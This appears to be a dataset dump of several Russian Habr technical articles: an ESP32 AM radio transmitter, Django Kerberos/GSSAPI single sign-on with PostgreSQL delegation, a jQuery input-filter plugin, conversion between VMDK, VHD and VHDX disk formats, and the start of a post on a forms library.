text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# «Привет, Хабр» на частоте 835 кГц
Как-то раз в голове возникла мысль, а что бы сделать такое, чтобы скрестить старый радиоприемник в деревянном корпусе и современный контроллер для интернета-вещей ESP32? То ли с головой не так что-то, то ли делать мне нечего, но скрестить получилось. Не шаблонно, в целом, хотя судить вам, дорогие читатели Хабра).
За подробностями прошу под кат.
### 32>8266
В математике это абсурд, но в нашем случае это так. Функционал и возможности ESP32 куда больше ESP8266. Помимо бо́льшего числа GPIO, микроконтроллер мощнее функционально, к стандартному Wi-fi добавлен блютуз, ну и самое на мой взгляд правильное в нем — наличие двух каналов [цифро-аналогового преобразования](https://ru.wikipedia.org/wiki/%D0%A6%D0%B8%D1%84%D1%80%D0%BE-%D0%B0%D0%BD%D0%B0%D0%BB%D0%BE%D0%B3%D0%BE%D0%B2%D1%8B%D0%B9_%D0%BF%D1%80%D0%B5%D0%BE%D0%B1%D1%80%D0%B0%D0%B7%D0%BE%D0%B2%D0%B0%D1%82%D0%B5%D0%BB%D1%8C) (ЦАП по-нашему DAC по импортному). Поэтому ничего сложного не составляет (не прибегая к разным выкрутасам) напрямую заставить контроллер быть генератором различных сигналов или даже говорить человечьим языком. Вот именно этот ЦАП нам и нужен.
В контроллере 2 канала ЦАП на 25 и 26 выводах. Как я понимаю, это для того, чтобы даже запилить стерео-звучание при необходимости. О контроллере ESP32 не мало информации, которую можно взять [здесь](https://geektimes.ru/post/290205/) или вот [здесь](https://habrahabr.ru/post/309746/), а для любителей технической документации вот [ссылка](https://www.espressif.com/sites/default/files/documentation/esp32_technical_reference_manual_en.pdf) на datasheet. В моем случае была платка разработчика серии WEMOS с экранчиком на борту, что само по себе достаточно удобно — можно сразу отлаживать с отображением информации на месте или выводить какие-то данные.
Удобная в целом вещь, хотя цена могла быть скромнее. Покупалось [здесь](http://ali.pub/2ad3ox).
### Ближе к делу!
Имея на борту ЦАП мы можем смоделировать «чистый» синусоидальный сигнал определенной частоты. Анализ [datasheet](https://www.espressif.com/sites/default/files/documentation/esp32_technical_reference_manual_en.pdf) показал, что частота дискретизации ЦАП контроллера ESP32 может достигать порядка 13 МГц, поэтому нам остается понять, какой частоты синус мы можем получить в этом случае. Для этого необходимо аппроксимировать синус неким числом временны́х отчетов — чем больше отчетов взять, тем более качественно будет выглядеть сигнал, но при этом снижается предельная частота, которую можно получить в итоге. При этом амплитуда сигнала ограничивается разрядностью ЦАП и составляет 8 бит.
Аппроксимировать четырьмя или восьмью временны́ми отчетами синус будет не достаточно, а вот 16 — уже вполне пойдет.
```
int sintab[] = {0, 48, 90, 117, 127, 117, 90, 48, 0, -48, -90, -117, -127, -117, -90, -48};
```
Конечно, лучше бы 32 или 64 отчета взять, но тогда значительно падает частота итогового сигнала. Таким образом, при дискретизации в 16 временны́х отчетов и предельным диапазоном работы ЦАП в 13 МГц, можно получить ничего себе такой синус с частотой порядка 800 кГц (13 МГц/16 бит). А вот это уже попадает в диапазон средних волн бытовых радиоприемников, на который можно будет передавать полезный сигнал, к примеру, речь. Схема получается до жути простая. В настройке не нуждается)
К выводу 25 ЦАП мы подсоединяем отрезок провода (сантиметров 40), который выполняет роль антенны. Радиопередатчик практически готов!
### Амплитудная модуляция
Получив устойчивую несущую частоту еще недостаточно, чтобы реализовать передачу полезного сигнала в радиоприемник. Необходимо промодулировать несущую частоту полезным сигналом низкой частоты, к примеру, человеческой речью или музыкой, реализовав, так называемую [амплитудную модуляцию](https://ru.wikipedia.org/wiki/%D0%90%D0%BC%D0%BF%D0%BB%D0%B8%D1%82%D1%83%D0%B4%D0%BD%D0%B0%D1%8F_%D0%BC%D0%BE%D0%B4%D1%83%D0%BB%D1%8F%D1%86%D0%B8%D1%8F).
Мы должны изменять амплитуду несущей частоты (сверху) информационным сигналом (в центре), обеспечивая приемлемую [глубину модуляции](https://habrastorage.org/webt/fa/c4/nq/fac4nqoh9gz5h5egva1chl4pzwk.jpeg), которая в идеале должна быть равной 1 (или 100%), т.е. итоговый сигнал (снизу) представляет из себя постоянно изменяющийся по амплитуде высокочастотный сигнал. Так как реализовать глубину модуляции четко в 100 процентов не всегда удается — уровень этой величины в 50 процентов уже вполне приемлем (примерно как на рисунке). Качество звучания будет несколько хуже, но это не беда.
### Привет, Хабр!
Теперь наша задача записать аудиофайл в любом звуковом редакторе, чтобы получить звуковой файл, который мы будем передавать в эфир на частоте порядка 800 кГц и принимать на наш радиоприемник.
Так выглядит фраза «Привет, Хабр, частота 835 кГц». Из этого файла нам надо сформировать файл отчетов информационного сигнала, который можно сконвертировать по данной [ссылке](http://dzebra.ru/convert/convert.html). Структура итогового выходного файла будет примерно такой
```
const unsigned int sampleRate = 44100; // столько отчетов идет в секунду
const unsigned int sampleCount = 289728;
// всего отчетов в звуковом файле. Поделив это на 44100 получаем длину аудифайла. Получается чуть больше 6 сек.
const signed char samples[] = {
-2, -4, -7, -10, -12, -13, -13, -14, -13, -12, -11, -11, -9, -8, -6, -5,
-4, -2, -2, -3, -4, -6, -10, -15, -21, -27, -34, -39, -41, -40, -38, -34,
-28, -22, -19, -15, -13, -13, -16, -18, -21, -24, -27, -29, -31, -33, -35, -36,
-36, -37, -38, -39, -38, -37, -36, -33, -31, -30, -30, -31, -32, -34, -35, -35,
-35, -35, -34, -34, -33, -32, -31, -31, -31, -31, -31, -31, -29, -27, -25, -22,
......
и еще много много много цифр
......
-20, -18, -16, -14, -13, -11, -9, -8, -7, -6, -5, -4, -3, -3, -2, -1,
0, 2, 6, 10, 14, 19, 23, 27, 28, 28, 26, 24, 21, 20, 20, 21,
23, 25, 28, 30, 32, 34, 36, 37, 38, 39, 40, 41, 41, 42, 43, 43,
42, 40, 38, 36, 35, 36, 38, 40, 42, 43, 43, 42, 39, 37, 34, 31,
30, 29, 30, 31, 32, 33, 33, 32, 29, 26, 22, 19, 17, 15, 14, 15};
```
Это по сути массив амплитуд полезного сигнала, которые, грубо говоря, мы складываем (если больше нуля) или вычитаем (если значение меньше нуля) из амплитуд высокочастотного сигнала, реализуя тем самым необходимую нам амплитудную модуляцию.
Остается только залить прошивку, подключить отрезок провода к 25 пину в виде антенны и, переведя приемник в АМ диапазон, настроиться на частоту в районе 800-850 кГц.
Мощность передатчика, конечно, мизерная. Поэтому антенну располагаем совсем рядом с приемником.
Собственно итоговый код программы занимает 70 строк. Преобразованный аудиофайл в виде файла отчетов *sample.h* можно скачать [здесь](https://cloud.mail.ru/public/LXs2/Z9taKHqcJ). Важно не забыть скинуть этот файл в ту же папку, в которой находится сама программа.
**Код программы**
```
//подключаем аудиофайл отдельным модулем
#include "sample.h"
#include
#include "driver/i2s.h"
static const i2s\_port\_t i2s\_num = (i2s\_port\_t)I2S\_NUM\_0; // i2s
//настроим параметры i2s
static const i2s\_config\_t i2s\_config = {
.mode = (i2s\_mode\_t)(I2S\_MODE\_MASTER | I2S\_MODE\_TX | I2S\_MODE\_DAC\_BUILT\_IN),
.sample\_rate = 1000000,
.bits\_per\_sample = (i2s\_bits\_per\_sample\_t)I2S\_BITS\_PER\_SAMPLE\_16BIT,
.channel\_format = I2S\_CHANNEL\_FMT\_ONLY\_RIGHT,
.communication\_format = I2S\_COMM\_FORMAT\_I2S\_MSB,
.intr\_alloc\_flags = ESP\_INTR\_FLAG\_LEVEL1,
.dma\_buf\_count = 2,
.dma\_buf\_len = 1024
};
void setup()
{
rtc\_clk\_cpu\_freq\_set(RTC\_CPU\_FREQ\_240M); //установим максимальную частоту cpu
i2s\_driver\_install(i2s\_num, &i2s\_config, 0, NULL); //стартуем i2s
i2s\_set\_pin(i2s\_num, NULL); //врубаем внупренний ЦАП
i2s\_set\_sample\_rates(i2s\_num, 1000000);
//это финт, который позволяет использовать самую высокую частоту дискретизации ~ 13 МГц
SET\_PERI\_REG\_BITS(I2S\_CLKM\_CONF\_REG(0), I2S\_CLKM\_DIV\_A\_V, 1, I2S\_CLKM\_DIV\_A\_S);
SET\_PERI\_REG\_BITS(I2S\_CLKM\_CONF\_REG(0), I2S\_CLKM\_DIV\_B\_V, 1, I2S\_CLKM\_DIV\_B\_S);
SET\_PERI\_REG\_BITS(I2S\_CLKM\_CONF\_REG(0), I2S\_CLKM\_DIV\_NUM\_V, 2, I2S\_CLKM\_DIV\_NUM\_S);
SET\_PERI\_REG\_BITS(I2S\_SAMPLE\_RATE\_CONF\_REG(0), I2S\_TX\_BCK\_DIV\_NUM\_V, 2, I2S\_TX\_BCK\_DIV\_NUM\_S);
}
//буфер для хранения модулированных выборок
short buff[1024];
//синус, представленный в 16 значениях. при частоте дискретизации 13 МГц
//дает несущую АМ сигнала порядка 800-850 кГц
int sintab[] = {0, 48, 90, 117, 127, 117, 90, 48, 0, -48, -90, -117, -127, -117, -90, -48};
unsigned long long pos = 0;
unsigned int posLow = 0;
// попробуем где-то посерединке диапазона. К примеру, 835 кГц
unsigned long long posInc = ((unsigned long long)sampleRate << 32) / 835000;
void loop()
{
//заполняем буфер значениями выборок из звукового файла
for(int i = 0; i < 1024; i+=16)
{
if(posLow >= sampleCount) posLow = sampleCount - 1;
int s = samples[posLow] + 128;
//собираем итоговый сигнал
for(int j = 0; j < 16; j += 4)
{
buff[i + j + 1] = (sintab[j + 0] \* s + 0x8000);
buff[i + j + 0] = (sintab[j + 1] \* s + 0x8000);
buff[i + j + 3] = (sintab[j + 2] \* s + 0x8000);
buff[i + j + 2] = (sintab[j + 3] \* s + 0x8000);
}
pos += posInc;
posLow = pos >> 32;
if(posLow >= sampleCount)
pos = posLow = 0;
}
// отправляем все с богом на выход
i2s\_write\_bytes(i2s\_num, (char\*)buff, sizeof(buff), portMAX\_DELAY);
}
```
Прошито и собрано в ARDUINO IDE. Как подружить ESP32 с ним, читаем, к примеру, [здесь](https://geektimes.ru/post/290205/). Подробнее об использованном в проекте исходном коде читаем [здесь](https://github.com/bitluni/ESP32AMRadioTransmitter).
Надо сказать, что практической пользы в этом никакой, но в целом не шаблонно. К тому же вспомнить курс радиотехники оказалось настольгически приятно. Ну и, конечно, 2-х минутное [видео](https://youtu.be/3ngOvusLrzA) о том, как это работает прилагаю.
[](https://www.youtube.com/channel/UCGfyfadFbzXxiKyWT8heBCA) | https://habr.com/ru/post/349330/ | null | ru | null |
# Авторизация пользователей в Django через GSSAPI и делегация прав пользователя серверу
Недавно нам с коллегами понадобилось реализовать прозрачную (SSO) авторизацию в нашем проекте. Сейчас довольно мало информации по теме особенно на русском языке. По этой причине решено было поделиться с потомками реализацией подобного функционала.
Итак задача заключалась в следующем: необходимо было настроить прозрачную авторизацию через GSSAPI от пользователя на сервер, а так же иметь потом возможность от имени этого пользователя ходить в БД.
У нас имелось:
* настроенный сервер Kerberos+LDAP
* сервер PostgreSQL, настроенный на авторизацию исключительно по GSSAPI
* сервер приложения Django+UWSGI+nginx, с настроенным Kerberos
Изначально была идея делегировать авторизацию пользователей в приложении веб серверу, настроив на нем авторизацию по GSSAPI, а Django указать, что мы будем работать с RemoteUser. В рамках данного описания, я не буду рассказывать, как настроить nginx на работу по GSSAPI, а Django на делегацию авторизации на веб сервер, это хорошо задокументированная часть, да и статей по этому поводу довольно много. После настройки и проведенных тестов — мы поняли, что это абсолютно не то, что нам нужно. Да мы можем провести авторизацию и получить user principal name, но мы не имеем прав от имени этого пользователя ничего сделать.
Далее нами были предприняты попытки найти что-то стоящее на просторах интернета. Они увенчались относительным успехом, были найдены следующие пакеты для Django: [django-kerberos](https://pypi.org/project/django-kerberos/), [django-auth-spnego](https://pypi.org/project/django-auth-spnego/), [django-auth-kerbero](https://pypi.org/project/django-auth-kerberos/). По сути все эти пакеты делали одно и тоже, некоторые не обновлялись уже давно и пришлось долго «танцевать с бубном», что бы хоть что то заработало. Они предоставляли такой же функционал как и связка nginx(GSSAPI)+Django(RemouteUser). Все они помогли прийти к решению проблемы своим исходным кодом.
Далее были найдены следующие пакеты для работы с GSSAPI в Python: [ccs-pykerberos](https://github.com/apple/ccs-pykerberos) и [python-gssapi](https://github.com/pythongssapi/python-gssapi), по сути они импортируют реализацию стандарта RFC2744 и RFC4559 в Python. С помощью пакета ccs-pykerberos у нас как раз и получилось реализовать задуманный функционал, далее я покажу немного кода, где реализуется общение с LDAP`ом и пользователем, а так же запрос в БД от его имени.
```
from django.shortcuts import render
from django.template.response import TemplateResponse
import kerberos
import psycopg2
def index(request):
if 'HTTP_AUTHORIZATION' in request.META:
kind, initial_client_token = request.META['HTTP_AUTHORIZATION'].split(' ', 1)
if kind == 'Negotiate':
service = 'HTTP@django-server-pricipal.che.ru'
_ignore_result, krb_context = kerberos.authGSSServerInit(service)
kerberos.authGSSServerStep(krb_context, initial_client_token)
principal = kerberos.authGSSServerUserName(krb_context)
_ignore_result = kerberos.authGSSServerStoreDelegate(krb_context)
conn = psycopg2.connect(
host='postgresql-server-host',
user=principal,
dbname='request-db',
)
cursor = conn.cursor()
cursor.execute("SELECT version()")
records = cursor.fetchall()
else:
unauthorized_template_name = 'gssapi_test/unauthorized.html'
response = TemplateResponse(request, 'gssapi_test/index.html', status=401)
response['WWW-Authenticate'] = 'Negotiate'
return response
content = {'records': records}
return render(request, 'gssapi_test/index.html', content)
```
Сначала нужно проверить передан ли нам заголовок авторизации, если нет — мы должны направить в ответ заголовок с Negotiate, и снова ждать от пользователя Negotiate токен. Этот токен выглядит как большая портянка закодированная в base64. После получения токена, мы инициализируем (авторизуем) сервер нашего приложения в LDAP сервисе, используя функцию authGSSServerInit(). Далее мы авторизуемся в LDAP сервисе от имени пользователя, используя для этого как раз тот токен, который получили из заголовка, функция authGSSServerStep(). Потом мы получаем principal пользователя, который будем использовать в качестве user, при выполнении запроса в БД. А так же, нам необходимо сформировать кэш битела Kerberos, который будет использован автоматически для того, что бы авторизовать нас в PostgreSQL, функция authGSSServerStoreDelegate(). Данная функция есть только в самой последней версии этого пакета, поэтому нужно клонировать себе исходники с git и сделать build.
Браузер должен быть настроен на отдачу Negotiate, по умолчанию эта опция отключена. Все тесты проводились на Firefox в CentOS7, так же на всех серверах был установлен CentOS7.
В добавок, у нас может возникнуть проблема, при которой кэш билета, сформированный нашей функцией, не будет виден нашему процессу и соответственно мы получим, что пользователь не авторизовался в GSSAPI. Она решается настройкой кеширования билетов в krb5.conf. На всякий случай приведу пример нашего конфига:
**/etc/krb5.conf**
```
includedir /etc/krb5.conf.d/
includedir /var/lib/sss/pubconf/krb5.include.d/
[libdefaults]
default_realm = DOMAIN.RU
dns_lookup_realm = false
dns_lookup_kdc = false
rdns = false
ticket_lifetime = 24h
forwardable = true
udp_preference_limit = 0
# если раскомментировать опцию - работать не будет
#default_ccache_name = KEYRING:persistent:%{uid}
#Нужно для определения параметра KRB5_KTNAME в облатси видимости приложения
default_keytab_name = FILE:/etc/httpd/http.keytab
[realms]
DOMAIN.RU = {
kdc = ldap-server-host.domain.ru:88
master_kdc = ldap-server-host.domain.ru:88
admin_server = ldap-server-host.domain.ru:749
kpasswd_server = ldap-server-host.domain.ru:464
default_domain = domain.ru
pkinit_anchors = FILE:/etc/domain/ca.crt
}
[domain_realm]
.domain.ru = DOMAIN.RU
domain.ru = DOMAIN.RU
.domain.ru = DOMAIN.RU
```
Данный кусок кода создан для того, что бы помочь понять как происходит авторизация и делегация прав, далее с этими знаниями можно строить декораторы авторизации и бэки общения с базой. Пакет ccs-pykerberos был разработан компанией Apple, для своих внутренних нужд, соответственно приведу ссылку на их код, где они его используют. Нам он очень помог в понимании того, что они разработали [ccs-calendarserver/twistedcaldav/authkerb.py](https://programtalk.com/vs2/python/819/ccs-calendarserver/twistedcaldav/authkerb.py/)
#### Полезные ссылки
* [Настройка Kerberos+LDAP](https://habr.com/post/169877/)
* [Реализация похожей задачи на Java](https://github.com/hhru/postgres-jdbc/blob/master/postgresql-jdbc-9.2-1002.src/org/postgresql/gss/MakeGSS.java)
* [Настройка nginx на работу по SPNEGO](https://habr.com/post/305098/)
* [Спецификация RFC2744](https://tools.ietf.org/pdf/rfc2744.pdf)
* [Спецификация RFC4559, описывающая SPNEGO](http://www.ietf.org/rfc/rfc4559.txt) | https://habr.com/ru/post/427839/ | null | ru | null |
# Плагин jquery.keyfilter.js
Очень нравится мне возможность ограничивать набор вводимых символов в полях ввода с помощью регулярного выражения.
Эта функциональность существует в Ext.JS, но этот каркас несколько тяжеловесен для большинства сайтов. Поэтому я нарисовал плагин для jQuery, выполняющий тот же функционал.
Использовать можно как в процедурном:
> `$(selector).keyfilter(/[0-9]/);
>
> $(selector).keyfilter(function(c ) { return c != 'Z'; });
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
так и в разметочном стиле:
> `<input type="text" class="mask-email" />
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Плагин можно расширять, подключая скрипты с расширениями для $.fn.keyfilter.defaults.masks.
[Загрузить исходник](http://code.google.com/p/jquery-keyfilter/downloads/list).
[Демонстрационная страница](http://jquery-keyfilter.googlecode.com/svn/trunk/demo.html)
**Update** 18 февраля 2009 г. 13:25 по рекомендации [no\_smoking](https://habrahabr.ru/users/no_smoking/) немного оптимизировал работу плагина.
**Update** 19 февраля-19 мая 2009 г. 17:25 Исправлены замеченные баги, спасибо [Gram](https://habrahabr.ru/users/gram/), [svoloshyn](https://habrahabr.ru/users/svoloshyn/), [Airs0urce](https://habrahabr.ru/users/airs0urce/). | https://habr.com/ru/post/52245/ | null | ru | null |
# С Hyper-V на VMware и обратно: конвертация виртуальных дисков
Привет, Хабр!
Периодически я слышу от практикующих инженеров странное: VMDK, VHD и VHDX – абсолютно разные форматы виртуальных дисков, чуть ли не закрытые, а конвертировать из одного в другое – долго и больно. Сегодня наглядно покажу, что это не так, разберу, как эти форматы соотносятся друг с другом и как делать быструю конвертацию при миграции с Hyper-V на VMware и обратно.
Немного теории. C точки зрения свойств, виртуальные диски делятся на два типа:
* тонкие (thin disk, dynamic disk) и
* толстые (thick disk, fixed disk). Все остальное — разностные, thick provisioned lazy- zeroed – лишь вариации на тему.
Подробно на этом останавливаться не буду. Скажу лишь, что дальше речь пойдет о толстых дисках.
### Форматы дисков
**RAW** – «сырой» образ любого диска. Это обычный контейнер, который не содержит никаких специфических заголовков и футеров и представляет образ диска «как есть». Если мы откроем такой образ HEX-редактором, то сразу увидим заголовки GPT/MBR и/или файловой системы. Точно такой же образ получается через команду dd в Linux. RAW в этом плане абсолютно честен с нами.
*Начало файла RAW.*
*Конец файла RAW.*
**VMDK.** VMware ESXi – обыкновенный RAW, где геометрия диска описывается в обычном текстовом файле-описателе (дескрипторе). Именно его имя мы видим в vSphere Console, когда подключаем виртуальный диск к виртуальной машине или просматриваем содержимое каталога на Datastore. VMware ESXi ничего не делает с образом. Совсем. Диск покоится себе и расширяется по мере необходимости. В лучших традициях VMware формат описателя очень простой:
```
# Disk DescriptorFile
version=1
encoding="UTF-8"
CID=fffffffe
parentCID=ffffffff
isNativeSnapshot="no"
createType="vmfs"
# Extent description
RW 15122560 VMFS "disk-example-flat.vmdk"
# The Disk Data Base
#DDB
ddb.adapterType = "lsilogic"
ddb.geometry.cylinders = "941"
ddb.geometry.heads = "255"
ddb.geometry.sectors = "63"
ddb.longContentID = "4f5dc83d0a5270bee54e2d85fffffffe"
ddb.uuid = "60 00 C2 93 b4 38 ed dd-a3 85 88 48 68 40 2f c0"
ddb.virtualHWVersion = "13"
```
И он не только простой, но и функциональный: достаточно сделать пометки в файле-описателе, чтобы расширить виртуальный диск до каких угодно поддерживаемых значений. Это позволяет заполнить диски нулями или пометить его как тонкий, без необходимости держать информацию о геометрии в заголовках диска.
Ниже представлены некоторые стандартные значения всех разделов дескриптора:
| | | | |
| --- | --- | --- | --- |
| **Раздел** | **Параметр** | **Описание** | **Значение** |
| Header (# Disk DescriptorFile) | version | Задает номер версии дескриптора. Обычно не меняется. | 1 (по умолчанию) |
| CID | Content ID. Случайный 32-битный идентификатор диска, участвующий в построении дерева снапшотов. Является ParentCID для дочерних дельта-дисков. | Случайное 32-битное значение, генерируемое на момент создания. |
| parentCID | CID родительского диска. Если родительского диска нет, то выставляется флаг CID\_NOPARENT (ffffffff). | Ffffffff (CID\_NOPARENT)
CID родительского диска. |
| createType | Указатель на тип диска, описываемого в дескрипторе (это вполне может быть и физический диск, и разностные диски, и даже массив дисков VMDK). Для ESXi набор свойств ограничен. | Для ESXi – vmfs (в случае виртуального диска) или vmfsRawDeviceMap и vmfsPassthroughRawDeviceMap (в случае RDM). |
| isNativeSnapshot | Помечает, какими средствами будет делаться снапшот: VMkernel или средствами СХД (VAAI). | no (VMkernel),
yes (VAAI) |
| Extents (# Extent description) | | Раздел содержит путь к диску, тип доступа и размер. В формате:
<тип доступа> <размер> <тип экстента> <путь к файлу VMDK или к устройству> <смещение>. | |
| Access | Тип доступа к диску. | RW (чтение/запись)
RO (только чтение)
NOACCESS (доступ запрещен). |
| Size | Размер диска. | Указывается количество логических секторов виртуального диска. Вычисляется по формуле:
<Размер в байтах>/<размер логического сектора>
Подробнее о расчетах геометрии диска [здесь](https://www.vmware.com/app/vmdk/?src=vmdk). |
| Type of extent | Указатель на режим работы диска. | Может принимать значение
FLAT, SPARSE, ZERO, VMFS, VMFSSPARSE, VMFSRDM, VMFSRAW. |
| Filename | Путь к файлу VMDK. | |
| Offset | Используется, если необходимо указать смещение начала данных гостевой ОС. Для виртуальных дисков, как правило, равно 0 (или не указывается). Для RDM может быть ненулевым. | Смещение в байтах относительно начала диска до начала блока данных. |
| Disk Database (# The Disk Data Base) | | Описывает геометрию виртуального диска. | |
| ddb.adapterType | Тип виртуального SCSI-адаптера ВМ. | Поддерживаются только 3 типа:
ide,
buslogic,
lsilogic.
Причем адаптер VMware Paravirtual всегда помечается как lsilogic. |
| ddb.geometry.cylinders
ddb.geometry.heads = «255»
ddb.geometry.sectors = «63» | Количество цилиндров, головок и секторов для описания геометрии виртуального диска. | Подробно о расчетах геометрии диска [здесь](https://www.vmware.com/app/vmdk/?src=vmdk). |
| ddb.thinProvisioned | Флаг тонкого диска. | 1 – диск тонкий,
0 или отсутствует – толстый диск |
| ddb.uuid | Идентификатор дескриптора | |
| ddb.virtualHWVersion | Версия Virtual Hardware | |
Описание всех значений можно посмотреть в спецификации формата: [VMware Virtual Disk Format 1.1](https://www.vmware.com/app/vmdk/?src=vmdk)
**VHD.** Толстый VHD – тот же самый RAW, но с 512-байтным футером, где описывается геометрия диска. Какого-то отдельного файла-описателя у виртуальной машины Microsoft Hyper-V нет. Описание геометрии диска занимает 4 байта. Собственно, отсюда ограничение на размер диска в 2 Тб.
*Футер. Последние 512 байт диска.*
Самое интересное, что если создать файл-описатель и подсунуть в ESXi VHD-диск с футером, то гипервизор VMware проигнорирует этот футер и примет VHD как родной.
При Storage vMotion с конвертацией диска в тонкий он просто отрежет этот футер, и на выходе мы получим тот же RAW без нулей в конце. А при конвертации в толстый диск – честный RAW. Это я и собираюсь продемонстрировать чуть позже.
**VHDX.** Вся информация о геометрии диска хранится в первых 4096 Кбайтах виртуального диска – в области заголовка.
*Общая схема толстого диска VHDX.*
Что представляет из себя эта область? В ней содержатся две копии заголовков со своими логами, BAT и область метаданных общие.
*Логическая структура заголовка диска.*
В единицу времени только одна копия заголовка активна. Это обеспечивает определенный уровень отказоустойчивости заголовка в случае незапланированных прерываний операций чтения/записи. После каждой операции I/O копия реплицируется, и происходит переключение на нее.
*Макет области заголовка.*
Для конвертации VHDX в RAW нам всего-то нужно отрезать первые 4096 KB.
*Начало данных на 5 МБ.*
Внимательный читатель, конечно же, скажет: ок, Женька, а слабо RAW конвертнуть в VHDX? На что я отвечу: зависит от файловой системы и от того, насколько она позволяет записывать данные в начало файла. Вручную на файловой системе NTFS это можно сделать, сместив в MFT начало файла на 4 Мб вперед и дописав в это место заголовок.
По этому же принципу работает утилита [vhdxtool.exe.](https://www.systola.ru/support/kb100005/) Однако при этом преобразовании мы не получим красивую картинку в виде 4 Мбайт заголовка и RAW. Диск будет виден и даже будет корректно работать как VHDX, но будет и много «мусора» из нулей, появившихся из-за манипуляций со смещениями (offsets). Диск будет не оптимизирован. ВМ с таким диском рекомендуется смигрировать на другой том или оптимизировать через командлеты Convert-VHD или Optimize-VHD. Если этого не сделать, диск будет занимать больше места, чем должен, и, возможно, медленнее работать.
Однако в сценариях миграции с VMware на Hyper-V эта утилита незаменима, так как позволяет провести преобразование на месте, без необходимости побайтового считывания исходного диска и создания рядом копии. Все шероховатости будут сглажены при первом же Storage Live Migration.
**Вывод:** толстые диски форматов VMDK, VHD, VHDX на деле мало чем отличаются друг от друга. В их основе RAW c различными добавками. Тем же HEX-редактором или функциями ОС для работы с файловой системой мы можем за пару секунд превратить 10 Тб VMDK или VHDХ в диск целевого гипервизора.
Давайте на практике посмотрим, как VMware Exsi справится с VHD.
1. В качестве примера я создал образ Windows Server с помощью [Convert-WindowsImage](https://www.powershellgallery.com/packages/Convert-WindowsImage/10.0) с инъекцией драйверов VMware и параметрами:
* OS Version: Windows Server 2019 Standard,
* Disk Type: Fixed,
* Disk Layout: GPT,
* Disk Size: 30GB.
*Обратите внимание на параметры FileSize (реальный размер файла) и Size (размер диска с точки зрения ВМ). Разница между значениями ровно 512 байт – размер футера VHD.*
2. Переименуем диск в Win2019-test2-flat.vmdk для загрузки его на ESXi Datastore.
3. Далее я создаю в VMware ESXi пустую ВМ с диском Thick (Eager Zeroed), чтобы дескриптор VMDK создался автоматически и не приходилось высчитывать цилиндры вручную.
4. Подключаемся к хосту через WinSCP и заменяем существующий файл:
*Все честно: футер на месте.*
5. Включаем ВМ и видим, что ОС без проблем загрузилась. Осталось только установить VMware Tools, что будет просто, так как Convert-WindowsImage позволяет нам установить драйверы устройств.
6. Переместим диск на другой Datastore через Storage vMotion с конвертацией его в тонкий диск.
7. Проверяем размер – диск стал тонким.
8. Если мы проведем обратную конвертацию в толстый диск или смигрируем ВМ на файловое хранилище, то получим чистейший RAW без заголовков.
*Футер отрезался.*
Тот же самый фокус работает и для RAW, созданных через dd. И даже в обратном направлении. Таким образом вы видите, что VMware ESXi принимает диски с футерами или RAW, созданные сторонними средствами.
Если не хочется фокусов, то можно воспользоваться инструментами ниже.
| | | | |
| --- | --- | --- | --- |
| **Исходный формат** | **Целевой формат** | **Инструменты** | **Пример команды** |
| VHD | VHDX | vhdxtool.exe | vhdxtool upgrade -f <имя файла>.vhd |
| VMDK (RAW) | VHD | vhdtool.exe | vhdtool /convert <имя файла flat>.vmdk |
| VMDK (RAW) | VHDX | vhdtool.exe
vhdxtool.exe | vhdtool /convert <имя файла flat>.vmdk
|
| VHDX (RAW) | VHDX | | vhdxtool upgrade -f <имя файла>.vhd |
**Подведем итоги.** Различные форматы толстых виртуальных дисков не такие уж разные. В основе всего RAW с различными “добавками”.
Конвертация форматов виртуальных дисков — это не страшно, и, как я показал, иногда можно обходиться даже без нее.
Основной профит всего этого — сокращение времени миграции с Hyper-V на VMware и обратно и времени простоя ВМ при миграции. В DataLine мы такое практикуем с простоем ВМ менее 30 минут. Рекорд же — 40 секунд простоя ВМ при миграции между гипервизорами.
Только помните, что при миграции между разными гипервизорами одной конвертации недостаточно. Как минимум нужно предварительно поставить компоненты интеграции целевого гипервизора, удалить или отключить запуск компонентов исходного гипервизора, удалить виртуальные устройства исходного гипервизора и т.д. Но это уже совсем другая история, о которой я тоже могу рассказать.
**Полезные ссылки:**
* [habr.com/ru/company/acelab/blog/262517](https://habr.com/ru/company/acelab/blog/262517/)
* [www.vmware.com/app/vmdk/?src=vmdk](https://www.vmware.com/app/vmdk/?src=vmdk)
* [faq.sanbarrow.com/index.php?action=artikel&cat=43&id=36&artlang=en](http://faq.sanbarrow.com/index.php?action=artikel&cat=43&id=36&artlang=en)
* [download.microsoft.com/download/f/f/e/ffef50a5-07dd-4cf8-aaa3-442c0673a029/Virtual%20Hard%20Disk%20Format%20Spec\_10\_18\_06.doc](http://download.microsoft.com/download/f/f/e/ffef50a5-07dd-4cf8-aaa3-442c0673a029/Virtual%20Hard%20Disk%20Format%20Spec_10_18_06.doc)
* [docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-vhdx/83e061f8-f6e2-4de1-91bd-5d518a43d477](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-vhdx/83e061f8-f6e2-4de1-91bd-5d518a43d477) | https://habr.com/ru/post/479894/ | null | ru | null |
# Библиотека, облегчающая разработку форм на сайтах
Привет, Хабр!
Хочу поделиться с общественностью своей небольшой (всего 6 Кбайт) [js-библиотекой](https://github.com/paulzi/paulzi-form), которая сильно облегчает мне работу с формами при разработке сайтов, и позволяет сократить написание кода.
В любом, более-менее среднем и крупном проекте насчитается не один десяток форм, многие из которых желательно отправлять через AJAX. Часто для этого просто вешается обработчик и пишется скрипт, что-то типа этого:
```
$(function () {
$('.contact-submit').click(function () {
$.ajax({
url: '/path/to/action',
method: 'post',
data: $(this).closest('form').serialize(),
success: function () {
/* success action */
}
});
});
});
```
И вроде всё работает, но, к сожалению, очень часто разработчики забывают мелочи, такие как:
* отсутствие индикации отправки формы;
* как следствие, возможность накликать множество запросов (повторная отправка не блокируется);
* невозможность отправки формы с клавиатуры;
* отсутствие индикации при ошибке отправки формы (например, сервер ответил 500-ой ошибкой);
* хардкод url контроллера в js-скрипте.
Кроме того, есть множество тонкостей, которые не учтены в большинстве аналогичных библиотек, такие как: передача `name=value` кнопки, осуществляющей отправку формы, поддержка и атрибутов `form, formaction, formmethod`.
